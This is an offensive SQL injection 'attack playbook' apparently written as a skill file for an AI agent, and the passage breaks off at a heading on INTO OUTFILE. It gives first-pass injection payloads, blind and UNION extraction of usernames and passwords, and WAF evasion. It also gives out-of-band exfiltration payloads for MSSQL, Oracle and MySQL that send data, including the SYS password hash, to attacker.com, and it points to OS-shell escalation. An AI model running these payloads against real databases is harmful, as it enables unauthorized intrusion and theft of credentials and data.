Sqli SQL Injection

SKILL: SQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.

0. RELATED ROUTING

• ghost-bits-cast-attack when the backend is Java with Jackson and your SQL keywords are WAF-blocked — Jackson's charToHex table is indexed by ch & 0xFF, so a Unicode character like 丰 (U+4E30) resolves to hex digit 0 inside a \uXXXX escape sequence, letting you smuggle UNION, SELECT, 1, etc. without the WAF ever seeing them

1. QUICK START

Extended Scenarios

Also load SCENARIOS.md when you need:

• SMB out-of-band exfiltration via LOAD_FILE + UNC paths (Windows MySQL)
• KEY injection / URI injection / non-parameter injection points
• INSERT/DELETE/UPDATE statement injection differences
• ThinkPHP5 array key injection (updatexml error-based)
• Django GIS Oracle utl_inaddr.get_host_name CVE
• ORDER BY / LIMIT injection techniques

Advanced Reference

Also load SQLMAP_ADVANCED.md when you need:

• SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
• --technique, --risk/--level combinations and --second-url for second-order injection
• --os-shell / --os-pwn OS-level exploitation via SQLMap
• INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
• GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
• DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER

If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.

First-pass payload families

Small, stable first-pass set

'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--

DBMS routing hints

1. DETECTION — SUBTLE INDICATORS

Most SQLi is found by behavioral differences, not errors:

Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).

2. DATABASE FINGERPRINTING

-- MySQL
VERSION()              -- returns version string
@@datadir              -- data directory
@@global.secure_file_priv  -- file read restriction

-- MSSQL
@@VERSION              -- includes "Microsoft SQL Server"
DB_NAME()              -- current database
USER_NAME()            -- current user

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- current db (alternative)
user                   -- current Oracle user

-- PostgreSQL
version()              -- returns version
current_database()     -- current db
current_user           -- current user

Error-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.

3. UNION-BASED DATA EXTRACTION

Column count determination:

ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← until error = N-1 columns

Column type detection (NULL is safest):

UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← find string column

Database-specific string concat (required when column accepts only int):

-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password

4. BLIND INJECTION — INFERENCE TECHNIQUES

Boolean Blind (conditional response difference)

-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--

Time-Based Blind (no response difference)

-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL

Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.

MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)

'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--

Use port 80 or 443 to bypass firewall egress restrictions.

Oracle — UTL_HTTP (HTTP GET with data in URL path)

'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--

Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!

Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)

'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--

Attacker sees: HASH_VALUE.attacker.com DNS query → read password hash.

Oracle — UTL_SMTP / UTL_TCP

-- Email large data dumps:
UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)

MySQL — DNS via LOAD_FILE (Windows + UNC path)

SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB

MySQL — INTO OUTFILE (in-band filesystem write)